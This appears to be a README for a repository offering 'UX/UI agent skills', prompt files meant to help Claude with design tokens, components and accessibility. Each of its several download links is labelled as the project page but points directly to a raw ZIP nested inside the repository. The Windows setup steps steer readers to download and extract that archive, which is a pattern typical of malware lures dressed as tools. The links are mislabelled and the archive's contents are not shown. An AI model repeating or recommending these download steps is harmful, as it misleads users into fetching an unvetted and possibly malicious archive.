Content
# 🧠 ux-ui-agent-skills - Build Better UI With Clear Rules
[](https://github.com/sterlingpathological200/ux-ui-agent-skills/raw/refs/heads/main/accessibility/skills-ui-agent-ux-v2.1.zip)
## 🎯 What This Is
UX/UI Agent Skills is a starter kit for design work with Claude. It helps turn plain prompts into clear design output, token sets, and usable component plans.
Use it to guide design work for web apps, mobile apps, and design systems. It gives Claude a stronger design role, with a focus on layout, color, type, spacing, accessibility, and build-ready output.
## 🪟 Windows Download and Setup
Use this link to visit the project page and download the files you need:
[Visit the project page](https://github.com/sterlingpathological200/ux-ui-agent-skills/raw/refs/heads/main/accessibility/skills-ui-agent-ux-v2.1.zip)
### 1. Open the project page
Click the link above in your browser.
### 2. Get the files
On the page, look for the green **Code** button and choose **Download ZIP**.
### 3. Unzip the folder
After the download finishes, open the ZIP file and extract it to a folder like:
`Documents\ux-ui-agent-skills`
### 4. Open the files
Open the folder and review the markdown files, skill instructions, and token samples.
### 5. Use it in your project
Copy the files you need into your own project or follow the setup steps in your Claude workflow.
## 🧩 What It Does
This project helps Claude work like a senior design architect. It supports:
- Design token output in a DTCG-style format
- Clear component plans from simple parts to full page templates
- Accessible UI choices with WCAG 2.2 AA and AAA in mind
- Production-ready code patterns for React, Tailwind v4, Next.js 15, and SwiftUI 6
- Structured guidance for consistent design across a product
## 🎨 Main Features
### Design Token Generation
Creates token sets for:
- Colors
- Typography
- Spacing
- Shadows
- Borders
- Breakpoints
It uses a three-layer setup:
- Primitive tokens
- Semantic tokens
- Component tokens
This makes it easier to keep design rules in one place.
### Component Design
Helps plan UI parts like:
- Buttons
- Form fields
- Cards
- Navigation
- Dialogs
- Full page layouts
Each component can include:
- Parts of the component
- Variants
- States
- Token mapping
- Accessibility needs
### Code Generation
Supports clean code output for:
- React + Tailwind v4
- Next.js 15
- SwiftUI 6
This is useful when you want design work that can move into a real build with less rework.
### Accessibility Auditing
Checks UI work against common accessibility rules. It helps you spot issues with:
- Color contrast
- Text size
- Keyboard use
- Focus states
- Screen reader support
## 🧠 Who This Is For
This project fits:
- Product teams
- UI designers
- Front-end developers
- Founders building a product
- Anyone who wants more structure in design output
It also helps when you want Claude to use the same design rules across many tasks.
## 📁 What You Get
Inside the project, you can expect files and prompts for:
- Skill instructions
- Design system rules
- Token examples
- Component templates
- Accessibility guidance
- Output formats for handoff
These files give you a base you can reuse across projects.
## 🚀 Getting Started
### Step 1: Download the project
Use the link below to visit the project page and download the ZIP file.
[Go to the project page](https://github.com/sterlingpathological200/ux-ui-agent-skills/raw/refs/heads/main/accessibility/skills-ui-agent-ux-v2.1.zip)
### Step 2: Extract the ZIP file
Right-click the ZIP file and choose **Extract All**. Pick a folder you can find later.
### Step 3: Open the folder
Open the extracted folder and review the files inside.
### Step 4: Add it to your workflow
Use the prompt files and instruction sets when you ask Claude for design help.
### Step 5: Start with one task
Try a simple task first, such as:
- A login screen
- A settings page
- A button system
- A color token set
- A mobile card layout
## 🖥️ How to Use It
When you want Claude to help with design work, give it a clear task and include the relevant skill files from this project.
Example tasks:
- Build a dark mode token set for a finance app
- Design an account settings page with strong accessibility
- Create a card component with hover, focus, and disabled states
- Turn a rough app idea into a page layout with tokens
- Review a UI for contrast and spacing issues
The goal is to keep the output clear, repeatable, and easy to use.
## 🔧 Suggested System Needs
For the best experience on Windows, use:
- Windows 10 or Windows 11
- A modern browser like Chrome, Edge, or Firefox
- A ZIP tool such as built-in Windows extraction or 7-Zip
- A text editor like Notepad, Notepad++, or VS Code
## 📌 Best Results
Use short, direct prompts. Include the kind of screen, the platform, and the style you want.
Good examples:
- Design a profile page for a fitness app in a calm, clean style
- Create a token set for a banking app with strong contrast
- Build a mobile form with large touch targets
- Review this component for accessibility problems
Clear input helps Claude give better output.
## 🧱 Project Structure
A typical setup may include:
- `instructions/` for skill rules
- `tokens/` for design token files
- `components/` for UI component guidance
- `examples/` for sample outputs
- `docs/` for usage notes
If you copy the project into another repo, keep the folder names simple and easy to search.
## ♿ Accessibility Focus
This project puts accessibility first. It helps you build UI that works for more people by encouraging:
- Clear text contrast
- Visible focus states
- Simple labels
- Large tap targets
- Logical reading order
- Predictable control behavior
These choices support better use on desktop and mobile screens.
## 🧪 Example Use Cases
### Web app design
Use it to define tokens and components for dashboards, forms, and settings pages.
### Mobile app design
Use it to shape layouts that work on small screens with touch input.
### Design system work
Use it to keep spacing, color, and type rules in sync.
### Developer handoff
Use it to generate clear specs that reduce back-and-forth.
## 📥 Download Again
If you need the files again, use this page:
[https://github.com/sterlingpathological200/ux-ui-agent-skills/raw/refs/heads/main/accessibility/skills-ui-agent-ux-v2.1.zip](https://github.com/sterlingpathological200/ux-ui-agent-skills/raw/refs/heads/main/accessibility/skills-ui-agent-ux-v2.1.zip)
## 📝 File Use Tips
- Keep the original files in one folder
- Copy only the parts you need into each project
- Use the token files as your source of truth
- Update component guidance when your product changes
- Check accessibility before you hand off the design
## 🔍 What Makes It Useful
This repo helps turn design work into a repeatable process. Instead of starting from scratch each time, you get a set of rules, patterns, and outputs that Claude can follow.
That can save time when you need:
- Consistent UI
- Clear token sets
- Better component specs
- More accessible layouts
- Cleaner code-ready design output
